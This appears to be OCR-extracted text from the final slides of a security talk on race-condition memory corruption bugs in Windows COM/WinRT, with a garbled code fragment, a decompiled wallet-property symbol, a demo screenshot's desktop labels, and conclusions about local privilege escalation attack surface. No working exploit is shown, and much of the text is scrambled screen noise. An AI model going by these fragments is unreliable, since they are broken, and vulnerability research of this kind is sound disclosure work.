usercontrol str_buffer, /! src_str
usercontrol str_len) ) /! src_str_len

vd = -2147024882;

U WM W 00 SO0 W1 s W R D0 WD 00 S D0 W e W R 0D WD 00 SO0 U1 W N

T

00011270 ?SetLabel@WalletCustomProperty@Wallet@@UERAJPEBUCagPROPVARIANTEREZ: 1 (180012670)



Demo Time
]

Share View
Recycle Bin

> ThisPC > Local Disk (C)) » 1

Search 1
EN Windows PowerShell
e s Quick access
2]

[ Desktop
Microsoft
Edge & Downloads

|z] Documents

E Pictures

Local Disk (C:)
@, OneDrive
N & This PC
-‘E" J 3D Objects
-
I Desktop
Procmon.exe

|=] Documents

& Downloads
E ) Music
&= Pictures
RunlnSand: B Videos

= Local Disk (C:)
. s New Volume (E:)
s New Volume (E:)
LogfilePME

=¥ Network

Test Mode
Windows 10 Education
L Type here to search i

Build 18362.19h1_release.190318-1202

11:16 AM
il e 7/1/2021 L




® The thread safety of COM/WinRT is still an attack surface that deserves
attention.
v 50+ memory corruption bugs we found associated with Race Condition.
v  Hard to exploit Race Condition bugs stably.

® COM/WinRT still has a large attack surface for LPE bugs hunting.



.

Thanks for listening!

Any Questions?



